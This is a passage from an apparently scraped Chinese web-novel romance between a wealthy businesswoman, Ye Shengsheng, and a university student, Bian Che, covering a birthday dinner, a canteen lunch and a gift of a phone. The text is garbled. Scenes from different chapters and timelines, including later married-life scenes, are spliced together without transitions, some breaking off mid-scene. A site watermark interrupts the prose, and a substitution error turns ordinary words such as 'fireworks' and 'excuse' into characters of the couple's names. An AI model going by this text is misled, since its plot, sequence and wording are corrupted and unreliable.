当瞥见上面一长串的数字时,他清冷的眼睛蓦地瞪大了。 价值五位数的菜…… 他默默放下了菜单。 服务生要给边澈倒酒,却被叶声笙伸手拦下了。 “酒撤了吧,换果汁。” 边澈酒量不好,她一会儿回去还要开车,两个人都不能沾酒。 服务生应下,将冰桶里的红酒全都撤了下去。 不一会儿,一个插着数字“18”蜡烛的精致小蛋糕被端了上来。 边澈目不转睛地盯着那个写了他名字的小蛋糕,亮灼灼的眼神看得叶声笙心里一痒。 等菜全部上齐,夜幕也刚好降临。 落地窗外的景色变得绮丽幻彩。 “砰!” 一颗笙花忽然在空中炸开,金色的光点绽放出漂亮的花朵后自由落下熄灭。 紧接着,是第二颗,第三颗…… 五颜六色的笙火足足放了三分钟,最佳观赏角度刚好就是边澈两人坐着的第36层楼。 边澈看完,眼睛里仿佛也染上了笙火,盛满了惊喜光彩。 他回过头,正要跟叶声笙分享这笙花,忽的见到坐在对面的女子正笑意盈盈地看着他。 边澈一顿,脑海里瞬间闪过一个令人难以置信的念头。 “这笙花……”他迟疑着张嘴,声音轻到自己都没什么底气:“是姐姐你放的?” 叶声笙不说话,就单手撑着下巴,挑眉看着他笑。 酒红色的美甲折射出对面边澈懵懂的面容。 此中意味已经很明确了。 边澈呆在原地半分钟,而后不知所措地低下头,胆怯地躲避着女子的目光。 氛围一下子就沉默了下去。 叶声笙并没有刻意去越过那条线,而是若无其事地给他倒了杯果汁,嗓音低沉清脆:“生日快乐,边澈同学。” 边澈好一会儿才敢抬起脸,他薄唇紧抿,默不作声地端过叶声笙给他倒的果汁,举杯示意道:“谢谢姐姐。” “吃饭之前,先许个愿吧。” 叶声笙指了指桌上的蛋糕,用打火机点燃了蜡烛,而后看向他。 边澈坐在原地,眼神茫然一片。 “……许愿的话,要怎么做?” 他只看过养父母飞去Y国给大哥庆祝18岁生日的场景录像带,他们会一起去酒店,订一整层的宴会厅,宴请来自各方的贵宾。 大哥西装革履,被打扮的无比光鲜,站在比人还高的蛋糕前,接受着亲朋好友的祝福和赞赏。 边澈看了那录像带两眼后,就面无表情地将带子扔进了垃圾桶。 养父母到现在都以为是他们记错了位置,总之那录像带的影子再没出现过。 叶声笙站起来,拿过蛋糕附赠的王冠帽子折好,朝他走来:“来,我教你。” 她调整好了大小后,将帽子戴进了边澈的脑袋上。 “现在,双手合十,闭眼,对着烛火在心里许愿。” 低沉的,带着些旖旎幻醉的声音在边澈耳畔响起,像寂静夜空的幽灵,但更似拯救人类的神使。 边澈呼吸一滞,心脏怦怦直跳,脸颊的肌肉不自觉绷紧。 太近了。 他能清晰感受到身边女子的体温,身上萦绕的冷香,甚至是唇齿呼出来的热气。 耳根肉眼可见地红透了。 热浪翻滚。 边澈不敢动,还是叶声笙将手搭在了他肩膀上,抓住他的手腕,一步步指导说:“许愿要动起来啊,边澈同学。” 指骨分明的手被另一只细长漂亮的手握住,掌心的温度几乎要将边澈给灼穿心。 他顺着叶声笙的姿势,左右两手合十握紧,在摇曳的烛火前,在无尽的宁静暧昧下,边澈闭上了眼。 片刻后,许完愿的边澈睁开眼,下意识扭头看向叶声笙。 但两人谁都没有防备,以至于边澈忽然转过脸来,差点亲上叶声笙的侧脸。 双目对视。 叶声笙露出了少有的错愕表情。 边澈漆黑眼眸一慌,唇瓣又是习惯性咬紧。 桌上的烛火映照出他的半张脸蛋,冷峻、青涩、干净、纯粹,不染纤尘的气质,在此刻通通一览无遗。 叶声笙被眼前的美景一击,心口处一阵热流涌动。 她感到口干舌燥。 “许完愿,要吹蜡烛啊,边澈同学。”女子再度开口,嗓音已是染上了不易察觉的黯哑。 她拍拍男生的肩,克制着说道:“不吹蜡烛,愿望是无法实现的。” 听到这话,边澈当即回过神来,速度飞快地吹灭了蛋糕上的蜡烛。 叶声笙移开了身位,兀自坐回座位,“好了,蛋糕最后再吃,先吃龙虾。” 边澈对她的忽然离去有些落寞。 侍应生过来,安静地替两人剥虾。 不过边澈心情很好,一直到晚餐结束,眼睛都是亮亮的。 哪怕不时和叶声笙撞上视线,他也只是不好意思地低下头,然后扬起唇角,清隽的脸庞变得柔和,继续满足地吃起小蛋糕来。 晚餐结束,两人乘坐电梯正要下楼,拐角处忽然远远走来一群人。 边澈猛地变了脸色。 他匆忙转身,低声对叶声笙道:“姐姐,我手机好像落在包厢了,我回去取一下。” “是吗?”叶声笙不疑有他,“那你快去,包厢他们应该还没收拾。” 边澈“嗯”了一声,随即快步转身,消失在了叶声笙的视野里,刚好和迎面走来的一群人错开。 叶声笙等在电梯门口,不料,一道有些熟悉的声音从背后叫着她的名字。 “呀,声笙,你也在这里啊。” 闻言,叶声笙一愣,扭头就看到姜婉挽着边兴文的胳膊朝她走来,两人身边还站着几位西装革履的陌生面孔。 旁人面前,叶声笙表面功夫总是做的滴水不漏。 她回扬起淡淡的笑脸:“边叔叔,姜阿姨,你们也来了。” 姜婉笑道,“真巧,我跟兴文今晚要请几位老朋友吃饭,没想到居然会在这儿碰到你。” 叶声笙皮笑肉不笑地应付着。 几人没说两句,电梯就来了。 叶声笙伸手让他们先上。 “一起走吧声笙,反正电梯都来了。”边兴文劝道。 叶声笙只好说自己在等人。 而且她也不想跟他们挤在一个电梯里。 “这样啊。”边兴文见状,只得带着姜婉等人先进了电梯:“那声笙,我们就先走了。” 叶声笙摆摆手,礼貌道:“边叔叔、姜阿姨再见。” 等电梯门关闭,叶声笙立马收起了虚伪的笑容。 真是不凑巧,来这里居然都能碰到他们。 这时,边澈终于回来了。 叶声笙问:“手机找到了吗?” 男生点点头:“找到了,在桌子上,走的时候忘记了。” “找到了就行。”叶声笙正要说你那个旧手机就算真丢了也没关系,直接用她送的新手机就行了。 但转而一想,旧手机里还有手机卡呢,她这才将到嘴的话又咽了回去。 两人开车回去。 晚上九点,黑色卡宴抵达了京北大学。 叶声笙将车子停在西门门口,这里距离边澈的寝室最近。 坐在副驾驶的青年解开安全带,低着头,轻声腼腆道:“今天,谢谢姐姐。” 叶声笙倚靠在位子上,闻言,她偏过头来,毫不掩饰眼神中浓烈的占有欲:“开心吗?” 边澈先是抬了抬眼,随即老实地点了点头:“很开心。” 叶声笙没说话,只看着他。 车内的氛围忽然静下来,像是在酒店沉默的那几分钟,空气中充斥着让人抓心挠肺的焦灼。 边澈僵硬坐着,迷茫的眼睛垂下后又抬起来,小心翼翼地和叶声笙对视。 “姐姐……是还有话要说是吗?” 他试了试去抠开门的按钮,但是抠不开。 上面的红锁显示,车门被主驾驶给控制锁住了。 边澈只得看向叶声笙。 静谧的车内,无人应答。 男生好似是猜到了什么,但他不敢说,只咬了咬下唇,紧张到手心都出汗。 就这么过了不知多长时间,叶声笙忽然收回了令人头皮发麻的极具侵略性的眼神,状似无意地说:“啊,抱歉,我忘记解锁了。” 说着,她摁下了开锁键。 “咔吱”一声,手边的车门发出一声脆响。 边澈眼珠子动了动,他很想伸手去开门,但也只是想想,心底是虚虚的。 “姐姐刚刚是不是有话要和我说?” 叶声笙装傻,“有吗?” 她眨眨眼,表情很无辜:“我只是走神了。” 边澈一错不错地盯着她看了会儿,像是在想什么。 叶声笙眼眸眯了眯。 校门口有不少夜市小摊,晚归的大学生们来来往往,有说有笑地结伴回校。 边澈动了动嘴,说:“我真的要回去了,姐姐。” 叶声笙扬了扬下巴,“嗯,门就在那儿。” 话虽是这么说,她的眼睛却是如鹰一般紧紧锁定了边澈的身影。 男生被看的心里发毛。 在叶声笙的注视下,他试探着,缓缓拉开了车门锁。 “咔哒”一声,门开了。 边澈回头,犹豫着去看叶声笙的脸色。 见没有什么异样,他才像老鼠见了猫一样轻点脚尖,无比谨慎地一点一点挪下了车。 又是在一片沉寂的氛围下,他关上了副驾驶的门。 可身后直勾勾的目光并没有消失。 边澈试着走了两步,脊背却是越来越凉。 最后他还是折返了回来,绕到叶声笙的车窗前,低头询问是不是还有事没说。 叶声笙仰头,和他的眼睛对视,眸色深处升腾起了一股玩味。 她朝边澈勾了勾手。 他的身量很高,弯身说话的时候很温柔,把她整个人拢在自己的气息内,有种莫名的安全感。 叶声笙突然也很想了解他的过去,歪着头问:“边澈,你当时为什么没有出国念书呢?” 她还记得边澈去伊朗参加IPHO竞赛,并当场摔了金牌,那块金牌足以让他直通全球顶级学府。 螺旋桨的噪音响在头顶,蜿蜒的海岸线在眼前掠过。 偏偏他又开口:“不是想看老公裸泳吗?” 第60章 太阳正当头,海面上泛着光,摩托艇上翻出一道道白浪,太阳伞下有人在休憩。 边澈绕过捡珊瑚的叶声笙,踩在细软的沙子上,边走边解衬衫扣子。三秒后,衬衫落地,男人的裸背出现在视线里。 天气太热了,他的汗肆无忌惮地流下来,顺着下颌蜿蜒在光泽皮肤上,滑过起伏的胸口,没入腹肌中。 不能适应海面的反光,叶声笙微微眯着眼,远处沙滩椅上的比基尼美女也看过来。 边澈继续往前走,海水没过脚踝,没过小腿,他回头看她,笑容比太阳还灿烂。 “老婆,我脱了。”他的手搭在裤腰上,人鱼线的尾端若隐若现。 青年一顿,随即便乖乖背着包走了过来。 “姐姐,你是来……找我的吗?” 边澈语气里满是不确定。 四周全是暗自围观的同学,边澈无暇顾及其他,眼睛紧紧注视着面前的人。 叶声笙挑眉一笑,从西裤口袋里拿出来他的学生卡递了过去。 “你的卡,掉在我车上了。” 边澈眨眨眼,十分意外地接过来。 “原来在姐姐这里,我早上怎么找都找不到。” 他露出了真诚的笑,嗓音低沉清爽:“谢谢姐姐专程帮我送来。” 叶声笙被他这如沐春风的笑容紧紧吸住了眼睛。 昨晚光线有点暗,她在车里没怎么好好打量这家伙的长相,只觉得他比较冷淡拘谨,话也少,看上去不像是会笑的人。 没想到笑起来气质完全不一样了,就像春风吹来,无数鲜花绿叶应景绽放,清新爽利的味道包裹住全身,养眼又舒适。 叶声笙摆摆手,表示他不用这么客气。 送东西是顺路,她上午本来就是要来京北大学找老同学一趟。 但私心还是想再见见昨晚这个漂亮男生罢了。 不过这些边澈很可能不知道,叶声笙便没透露太多。 她怀着心思逗弄他:“咱们也不算陌生人了,给个微信不过分吧。” 边澈怔了怔眼,随即反应过来,很是不好意思道:“当然可以。” 叶声笙一愣,她本是想逗逗他,没想到这孩子竟然真的同意给联系方式。 边澈掏出那台三年前发布上市的老旧小米手机,正要解锁的时候,他犹豫了一下,说道:“就是……我这边课程可能有点紧,不一定能及时看到姐姐的消息。” 他说的很是真诚,紧张中带着些许羞涩,实在是让叶声笙觉得可爱极了。 “你们学生当然是要以学业为主,加个好友是为了方便联系,兴许日后有事要找你呢,我总不能天天开车堵在你们学院门口吧。” 叶声笙说的滴水不漏,边澈也不再扭捏,两人当场扫码加了好友。 见到叶声笙发过去的名字,边澈轻声感慨道:“姐姐的名字也很好听呢。” 叶声笙大方接受了这个赞美,随手将边澈打过来的名字复制添加备注:“我妈起的,文化人起名字着实不一般。” “看来阿姨特别疼爱姐姐。”边澈眨眨眼,羡慕地说道。 叶声笙眼中划过一抹落寞,但很快就被掩饰过去了。 她收起手机,装作无事发生地谈笑说:“是啊,我可是我妈的心尖宠。” 但不知为什么,边澈在听到这话后,眼中多了几分复杂和酸涩。 叶声笙以为自己是看错了,等她再投过去视线的时候,边澈已经恢复了刚开始的内敛淡然。 悄咪咪将叶声笙的个人消息框置顶后,小男生抬头,对叶声笙道:“姐姐,你晚上有空吗?” “怎么,”女子哼笑着看他,打趣道:“要请我吃饭?” 没想到边澈真的点了点头:“昨晚,多亏了你送我回来。要是你方便的话,晚上……我想请你吃个饭。” 他说这话的时候还是有些拘谨的,想必是第一次请人吃饭,神情总是没那么自在。 叶声笙不想拂了他的好意,可她晚上还有其他事要处理,实在是抽不开身。 听到这,边澈表情落寞了下去。 “这样啊……” 叶声笙一见到他这失望可怜的模样,心就软下来了。 “不过我后天是有时间的,你看看,要不改在后天晚上?” 话音刚落,边澈的眼睛就肉眼可见地亮了起来。 “好。”他拉紧了书包带子,正要骑上小电驴奔去食堂,忽然又折返了回来。 “那个,姐姐,”他抬眼,轻声问道:“你中午是不是还没吃饭?” 叶声笙倒也没客套,直截了当地点头:“嗯,是还没吃。” 边澈于是提议道:“要不,在我们学校餐厅吃吧,我请你。” 瞥见叶声笙微微扬起的长眉,边澈解释说:“这一顿不算的,后天才是正式请你吃饭,今天纯粹是为了感谢姐姐你帮我送学生卡。” 叶声笙看了看时间,这会儿正是十二点多,公司那边的事倒是不急,反正她回去也一样要找地方吃饭。 于是她应下了边澈的请求,跟着他来到了距离两人最近的京北一餐厅。 边澈带着她在餐厅里逛了起来。 不过中午用餐的人太多,边澈担心一会儿没座位,于是先找了张空桌子让叶声笙坐下等着,自己则是放下书包,问了一下叶声笙忌口的东西后,便奔向了石锅拌饭的窗口。 十分钟后,叶声笙的面前就呈上了一份新鲜出锅的牛肉滑蛋拌虾仁石锅饭,表层撒了一圈漂亮的葱花。 边澈搓着被烫红的手指递给她筷子和勺子,并端来了一杯刚做好的美式咖啡。 他自己的就是一份普普通通的千叶豆腐石锅饭,没有肉,也不见任何饮料的影子。 边澈十分不好意思地说:“抱歉啊,学校食堂就这些,只能委屈姐姐你凑合一下了。” “瞧你说的,我又不是古代皇帝,每顿都大鱼大肉的。” 叶声笙好多年没吃过这样的食堂饭了,闻着倒是让人食欲大增。 她看了看边澈的碗,忍不住用筷子给他夹了好几块牛肉跟虾仁过去。 “你在学校就吃这么点?也不给自己弄点好的。” 切成小块的牛肉被放进他的碗里时,边澈坐在椅子上呆了好一会儿。 叶声笙还以为这孩子是嫌弃她,于是道:“我这餐具可还没用过啊,你要是嫌弃我的话,我再给你点一份新的。” 边澈赶忙摇头,“不是的……我就是,就是……” 他嘴笨,咕哝半天,也没说出个所以然来。 叶声笙看得出来他没有嫌弃她的意思,于是笑笑,让他别再耽误时间,赶紧趁热吃。 石锅拌饭就是得刚出锅的才好吃。 一顿饭下来,聊天话术异常高明的叶声笙就从边澈嘴里打听到了他的基本信息。 17岁,今年的大一新生,老家在年城西溪县,父母都是务农的,现在是自己一个人在京城上大学。 听完,叶声笙对这个单纯的农村孩子多了几分敬佩。 京北大学面向外省,尤其是区县的招生,分数线要高出不少,而且还有名额限制。 他一个乡下出身的孩子,能考进京北大学,想必是吃了不少苦的。 说起来,她很久以前还去过年城西溪县。 11岁那年,为了让父亲看到自己的能力从而允许她进公司学习,叶声笙特意创立了一个资助基金会,专门帮扶那些学习成绩不错但碍于家庭经济原因无法完成学业的乡村学子。 那些个小县城是真的贫困,各方面条件都要落后一些。 她当初作为资助人到访的几个孩子家里,无一不是家徒四壁,穷的揭不开锅。 那是叶声笙第一次认识到阶级之间的贫富差距有多大。 也是因为那,叶声笙在资助基金会里投入了不少精力,资助过的学子超过千人。 后来她自己开了公司,同时还兼顾光盛集团的CEO,多方事宜一起占据了她的行程,叶声笙便将基金会交给了手下人打理。 “你还没成年啊?” 叶声笙忽的觉得很不好意思,自己一个成年人,居然蹭小孩儿的饭。 同时她心中涌现了一股罪恶感。 未成年,这可不好整了啊…… 边澈当即表示自己还有一个月就成年了。 叶声笙一脸不信,就问他:“是吗?生日什么时候,我瞅瞅。” 边澈老老实实报出了生日:“阴历十月十五号。” 叶声笙知道不少地区的人生日以阴历为主,她翻了翻手机,发现下个月11号就是边澈的生日。 这小子应该没骗人。 刚刚还有一丝罪恶感的叶声笙心里忽然好受了很多。 她喝了口咖啡,视线在边澈白皙光洁的脸蛋上打量,蓦地发现了不对劲儿。 “你是大一新生?” 边澈不明所以,但还是点头道:“怎么了,不像吗?” 叶声笙眯着眸子问道:“你们应该九月份开学的时候就军训了吧,你怎么一点没晒黑?” 她司机李叔的儿子,今年也是大一新生,军训完跟家里人打电话,李叔都没敢认那个黑煤炭是自己儿子。 李叔还给她看过前后对比照片,那简直活脱脱换了个人。 从前是白净的小鲜肉,军训完倒成了从煤矿里挖了十年土的黑皮蛋。 边澈不甚了解地说:“其实我也晒黑了的,只不过两个星期就养回来了。” 叶声笙盯着他看了一会儿,“那你底子还挺好的。” 确实有那种怎么晒都晒不黑的人。 边澈淡淡一笑,不动声色伸出左手,将旁边书包拉链口快要掉出来的防晒霜跟护手霜往里面推了推。 吃完饭,叶声笙上了车,边澈则是骑着自己的小电驴,两人在中医药学院门口分别。 边澈正要走,女子却忽然叫住了他。 驾驶室的车窗降下,露出了叶声笙那张睥睨从容的俊脸。 她将胳膊搭在玻璃上,提醒道:“边澈同学,别忘记了,你还欠我一顿饭。” 冷隽青年真诚回答道:“放心姐姐,后天见。” 叶声笙这才满意地摇上车窗,一脚油门驶出了校园。 “没有买卖就没有杀害,虽然我个人的力量很小,但是总有一天会有更多的人觉醒的……” 她絮絮叨叨地抱怨了一会,又开始找边澈的茬:“我现在很怀疑你的人品,你怎么会交到这么坏的朋友?” 边澈对自己人品有着清醒的认知,所以有问题的只能是路浔。不过想要珍珠不是她自己提出来的吗?现在倒打一耙全栽赃到他头上。 但他半句反驳的话都说不出来,只能吻着她的发顶认错:“是,都是我的问题,我先带你回酒店休息吧。” 叶声笙从他胸口抬头,满脸不可置信:“黑蝶贝都快被人灭族了,你还能睡得着?” 边澈:……魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第61章 还能怎么样呢? 小妻子看起来很伤心的样子,边澈吻着安慰了一会儿,回酒店的路上又发誓要做一个有爱心的人,终于让叶声笙展露笑颜。 幼稚的小心思被人理解和认同,她开始跟他讲自己在英国设计学院的生活,聊她和同学去买钻石被宰的事,还说起国外男生追人的花花手段。 他很识相,没有打断她,只是在聊最后一个话题的时候,手臂上的青筋变得明显。 有高雪莹做眼线,边澈自然知道她在英国有多受欢迎,也知道那些男生为了博她一笑做了多少努力。这就体现了岳父大人富养女儿的好处,叶声笙从小眼高于顶,一般男人根本入不了她的眼。 无论如何,还是不爽。 下车的时候,他就有点沉默,叶声笙听着他的心跳,俏唇抿起细微的弧度:“你怎么不说话?” “叶总,你这两天喝的是什么呀,办公室很香呢。” 进来的总助一边抱着文件一边问道。 叶声笙:“是吗?” 她目光不由自主地移向了桌上的柠檬药茶,笑了笑:“应该是这个吧。” 自从喝了边澈泡的药茶后,叶声笙心口那股沉重的感觉消了不少,哪怕是睡眠也好了很多。 而且泡了这柠檬药茶后,整个办公室都是混合着中药材和柠檬的清香味道。 总助问道:“这个是最新上市的茶叶吗?” 叶声笙从抽屉里拿出来一包没拆封的递给她,没正面回答药茶的来源,而是说:“尝尝,挺不错的。” 总助礼貌接过,笑道:“谢谢叶总。” “对了,”叶声笙叫住她,“你知不知道现在的大学生都喜欢什么礼物啊?” 总助也是被这个问题给难住了,她一毕业就来了光盛做了叶声笙的贴身助理,关于现在大学生的喜好还真摸不清楚。 “不知道叶总指的是男生还是女生?” “男生,”叶声笙脑海里浮现出边澈的身影:“刚上大一的学生。” 总助想了想,无奈地回答说:“抱歉叶总,这个我还真的不清楚。如果经常运动的话,可能会喜欢篮球运动鞋之类的。数码也不错,他们很多不是要打游戏嘛,一个好的处理器是很有必要的。” 末了,她又补充道:“不过,还是要根据实际来,看他需要什么。礼物嘛,一般都是实用的最好,这样每次用的时候都能想着叶总你的心意不是嘛。” 叶声笙觉得很有道理。 周五,最后一节课,边澈收到了叶声笙的消息。 【下课了来学院门口一趟,我在等你。】 看到消息的边澈恨不得现在就冲出去找她,但奈何这节课是解剖课,他手上还拿着兔子的一条腿,实验服上全是血。 边澈只能等实验结束。 六点,放学铃响,广播里响起了当下流行的时尚歌曲。 叶声笙闭眼抱胸在车里小憩。 忽然,车窗被人敲了敲。 叶声笙猛地睁开了眼,却见车外站着的是边澈。 睡意渐渐消散,叶声笙坐起来,摁下了玻璃窗。 “下课了?” 边澈点点头,“喝了茶后,姐姐最近感觉怎么样?” 叶声笙理了理衣襟,从腿边提起来一个方形盒子。 “托你的福,最近状态都很好。” 她将盒子递给边澈:“生日快乐,这是生日礼物。” 边澈定在原地,愣了好一会儿。 他迟疑着接过盒子,脸上闪过错愕和惊讶。 叶声笙打趣他说:“怎么,今天你自己生日都忘了?” 边澈嘴唇动了动,不知该说什么好,手指在礼物上摩挲了许久,不知道在思索什么。 这是一部新手机。 前两天刚上市宣发的小米最新款。 叶声笙想不到该买什么,还是总助那句话提醒了她。 要买就买对方需要的,实用的,能让他每次用的时候都能想到你。 没什么比取代边澈手里那台老旧得连屏幕都碎了好几道的小米手机更好的礼物了。 边澈的眼眶不可控制地湿润了,抱着新手机僵在原地,许久都没能说出话来。 他的确忘记了今天是自己的生日。 或者可以说,他从没期待过过生日这种事。 叶声笙本来只想送个礼物,但这会儿氛围貌似不太对。 边澈低垂着眼眸,一滴泪顺着脸颊流下来,滑出一条明显的、湿润的泪痕。 叶声笙一惊,下意识伸出手去帮他拭去眼角即将滴落的泪。 “怎么了这是,我没有别的意思,就是想给你送个生日礼物,要是不喜欢——” “谢谢姐姐……” 边澈吸了吸鼻子,快速眨了几下眼睛,抑制住了快要汹涌而出的眼泪:“谢谢你的礼物,这是我……第一次收到生日礼物,真的谢谢你……” 上次叶声笙问他年龄的时候,他也是想了好一会儿,才记起这个模糊的日子。 他根本没指望叶声笙会记住他的生日,还来送他礼物。 叶声笙顿感意外。 即便她母亲早年就去世了,自己跟叶鸿南的关系也不是很好,但每到她生日那天,总能收到来自四面八方的礼物。 不管是熟悉的陌生人,还是尚未蒙面的陌生人,都会尽全力呈上最奢贵的东西。 这还是她头一回听说有人第一次过生日,也是第一次见到有人竟然会因为一件生日礼物而感动落泪。 而且是一个男生。 叶声笙内心思绪纷飞。 她转身,从驾驶室的收纳盒里抽出纸巾,就着趴在车窗上的姿势,伸出手来给边澈擦脸。 “抱歉,但还是想祝你生日快乐。”叶声笙补充道:“成年快乐,小大人。” 边澈接过纸巾,胡乱在脸上擦了擦,好半天才终于平息好了情绪。 来来往往不少人,对这边的景象投来了打量的奇怪目光。 一个大男生在一辆豪车前抽抽搭搭地哭,着实少见。 叶声笙余光扫了一眼,说道:“晚上有安排吗?” 边澈红着眼眶摇了摇头。 “那好,”叶声笙摁开了副驾驶的车门,“上来,带你去吃饭,庆祝生日。” 边澈闻言,无比讶然,脸上晃过兴奋期待的神色。 他正要答应,却忽然闻到了自己身上的血腥味。 他当即往后退了一步,摇了摇头。 “姐姐今天,是特意来带我过生日的吗?” 叶声笙不理解他往后退的举措,但还是直接承认了:“对啊。” 而且今天是周五,她速度极快地处理完了所有的工作,就是为了今晚能腾出时间来陪这家伙过生日。 虽然是私心。 这么多年来,叶声笙还从没这么期待过给谁庆祝生日。 每次想到跟边澈有关的事,她的心情就被奇妙地治愈了,发自内心地感到愉快。 也许,是因为那张年轻新鲜的脸蛋,也可能是因为青年人的真诚。但不可否认的是,她的确对边澈来了兴趣。 一开始的简单认识,到现在时不时开车来学校见面,哪怕旁人不说,叶声笙自己也知道,这其中已经掺上了变了味的东西。 她对自己的定位非常明确,自小养成的是非分明的处事个性让她十分清楚:对就是对,错就是错。 直面自己内心的情感并不是一件可耻的事。 也是如此,她看边澈是越看越喜欢。 边澈不好意思地低下了头,不太敢靠近叶声笙:“刚刚是解剖课,我身上还有味道……” 虽然只是解剖兔子,但肉腥味和血腥味还是很重。 他真没脸拖着这样一幅散发着味道的身躯和姐姐一起出门。 叶声笙一早就闻到了,不过并不清楚他是做了什么才染了这一身味道。 她看了看时间,才六点多,明天可以休息,于是叶声笙对边澈说:“我订了蛋糕。” 听到这,边澈的眼神变了变,眸底的期待快要溢出来了。 叶声笙继而说:“如果你不赶时间的话,可以回去洗个澡换身衣服,咱们再出发。” 边澈很不好意思让叶声笙等自己。 叶声笙只说:“去晚了蛋糕会化掉。” 边澈瞬间就不扭捏了,小声抱歉说让叶声笙等自己二十分钟,他则是迈开长腿朝着寝室的方向跑得飞快。 果然,还不到二十分钟,洗了澡换过衣服焕然一新的边澈就出现在了叶声笙面前。 跑得太快,上车的时候他还在喘气。 叶声笙便将杯子递给他让他喝两口缓缓。 等边澈接过杯子一看,这不是他前段时间送给叶声笙的那个保温杯吗? 想到这个杯子是叶声笙用过的,边澈的脸颊当场就红了。 幸好刚刚奔跑的时候脸蛋就红了一片,因此这会儿的异样并没有被叶声笙发现。 他顿了很久,也没有要拧开用的打算。 叶声笙启动了车子,见他犹豫的神色,这才想起来,“哦,抱歉,我忘了这是我用过的了。” 她起身,扶着座位,伸手从后座拿了一瓶VOSS水。 俯下身的时候,叶声笙乌黑的长发散落下来,有相当一部分落在了边澈的臂弯里。 肩膀也不可控制地跟他的碰在了一起。 边澈呼吸一滞。 他闻到了来自女子身上的清冷香水味,夹杂着他调配的柠檬药茶的香味,宛如毒药一般令他僵在原地,丝毫不敢动弹。 “喝这个吧。” 叶声笙将VOSS水递给边澈,青年愣了愣才反应过来接住。 叶声笙仿佛没注意到他刚刚的异样似的,兀自拉上手刹,驾驶着车子出了校门。 “你不是中药学的吗,怎么还有解剖课?” 路上,叶声笙跟他攀谈起来。 边澈手紧紧握着那瓶VOSS,如实回答说:“我们的课程不止是关于中医中药的,化学分析、生物研究都有,范围很广,大二才会开始系统地学习对应领域。” “是吗,”叶声笙对这个不是很了解,以为中医学就是只有中医中药方面的东西。 “那你到时候准备从事哪方面?” 边澈一字一句回答说:“中医药学。” 叶声笙目光直视前方:“想做中医?” 边澈点头,“嗯”了一声。 中医专业真的很少见,叶声笙比较好奇边澈为什么要选择这个专业。 他的回答也跟他人一样清晰简洁:“想治病救人。” 这是个再寻常不过的目的。 可能就跟小时候广告上说的长大要当太空人一样的孩童梦想,叶声笙于是不再问了。 车内一片沉默。 很快,车子就抵达了目的地。 “到了,下车吧。” 两人来的是一家五星级酒店。 边澈在看到酒店名字的时候,眼眸闪过错愕。 但这微小的变化只有他自己知晓。 叶声笙拿上包,拍了拍他的肩,示意直接进去就行了。 边澈没说话,默不作声跟在了叶声笙身后。 感情是多么幽深绵长的事情,她经历得不多,嫁给边澈更是阴差阳错,就知道爱情哪有什么固定模式? “要不你也去找个死对头谈恋爱?” 这个意见可太有建设性了。 付芷橙的拳头头硬了,易拉罐捏得窸窣作响,她抻平的嘴角代表了态度——就无语。 像是突然想起什么,她突然问:“差点忘了,你最近不是在备孕吗?怎么喝酒了?” 叶声笙不甚在意地挥挥手:“就几口啤酒,没什么关系吧?” “别了,既然是备孕就严格一点,你和边澈要不要去医院做个全身检查?” “我们刚结婚又不着急,网上不是说,一年之内怀孕都是正常的嘛。” 她嘴上这么说,心里却觉得橙子说得有道理,不过边澈最近太忙,估计要等上一阵子了。 夜风凉爽,流云遮住半边月亮,店里放着好听的音乐。 第62章 虽然身心愉悦,但求子之路并不顺利。 四月的最后一天,叶声笙去卫生间发现大姨妈再一次如约而至的时候,不禁陷入了深深的思考。 结婚已经半年有余,开荤也已经四个月了,边澈每晚狼人上身,她已经承受了太多太多,怎么小蝌蚪还没有找到妈妈。 不能侍孕行凶,就还得去参加周末的慈善拍卖晚会,这个口子一旦打开,后面需要她以恒基集团孙媳妇身份参加的社交活动会越来越多。 婚前有阮晴岚挡在前面,婚后就只能自己直面那些刀光剑影了。 想当初,她跟祝泽退婚闹得沸沸扬扬,边家又极重颜面,能这么快同意联姻,除了边澈本人的心意之外,未必看重的不是门当户对。 这一点,从辛甘棠对她和对Eva截然不同的态度就可窥探。 叶声笙从小养尊处优,自然明白自己身上的责任,她只是想再拖几年而已,最好拖到怀孕生子。 思来想去,觉得这个锅还得边澈来背,于是毫无缘由地发了一堆怒气冲天的表情包过去。 “阿声,你怎么一个人就回来了,还换了套衣服?” 庄晗景转着圈圈左看右看,认出这是套eliesaab的秀场高定,裙摆镶的都是真钻,流光溢彩的漂亮,很衬叶声笙那种精娇细养、明艳张扬的气质。 早上同叶声笙见面的时候,她只随手从衣柜里拿了件裙子,首饰也就随意戴了串粉珍珠手链。 像这种大型社交场,叶声笙参加得并不多,来这一趟纯粹是带着庄晗景拓宽人脉,给她介绍了几位珠宝策展人以及品牌设计师。 跟叶声笙做朋友,总能在这些细枝末节的地方体会到她的温柔。 庄晗景顿时为自己“出卖”挚友而感到愧疚,不过愧疚仅限于0.01秒,“没见着我哥?” 叶声笙何等聪明,锐利的一双眼洞悉一切,“我说你怎么故意甩开我,原来是为了给庄缚青制造机会。” 庄晗景打着哈哈,“我这不是看你们俩上次吵架以后,冷战了好久,我妈前段时间还提起你,念叨说你都不来家里串门了。” “明天就去拜访,我馋周姨的糖醋排骨很久了。”叶声笙挑了后半句回。 “你说的啊,我待会就给她打电话。” 正说着,庄缚青闲庭信步地朝她们的方向走来,叶声笙也看见了他。 英伦风西服,系着深蓝色领带,偏向西方人的一张深邃冷峻面孔,步履间仿佛带风,可惜嘴太毒,颜值上撑起来的分都得扣掉一半。 “这么快就移情别恋了?”叶声笙的腰身勾勒得极细,蝴蝶骨轻盈纤薄,一颗珍珠大小的碎钻缠着宽丝带,衬得她高挑又清冷,像一株插在白瓷瓶里的玉兰花。 在这样的场合下,她的装扮虽正式,却少了几分隆重。 不像是来赴宴,倒更像是来游戏人间的。 边澈现在的心情算不上多好,别人见他一副生人勿近的模样,都会自觉远离,只有叶声笙一而再再而三地撞上来,将他的底线也压地一降再降,以至于这才第四次见面,就敢光明正大地泼他红酒。 他抬起手,用拇指点了下腕表,提醒道:“三十秒了,还没编好借口吗?嗯?” 叶声笙眨眨眼,只能把想好的措澈全都默默压回去。 她刚才一直在观察边澈的表情,按初印象来看,她以为边澈至少会黑脸,或者全身充斥低气压缄默地离开,也宣告她的把戏就此剧终。 不过从他的反应来看,似乎比预计中要好很多。 叶声笙心思飘忽着,瞳孔忽然放大,故作惊呼后,急忙躲到边澈身后,头埋地比鹌鹑还低,“帮我应付一下,救救急。” 边澈面上凝结寒霜,“什么意思?” “刚才碰到好几个搭讪想加我联系方式的,我想不到合适的托澈来拒绝……” 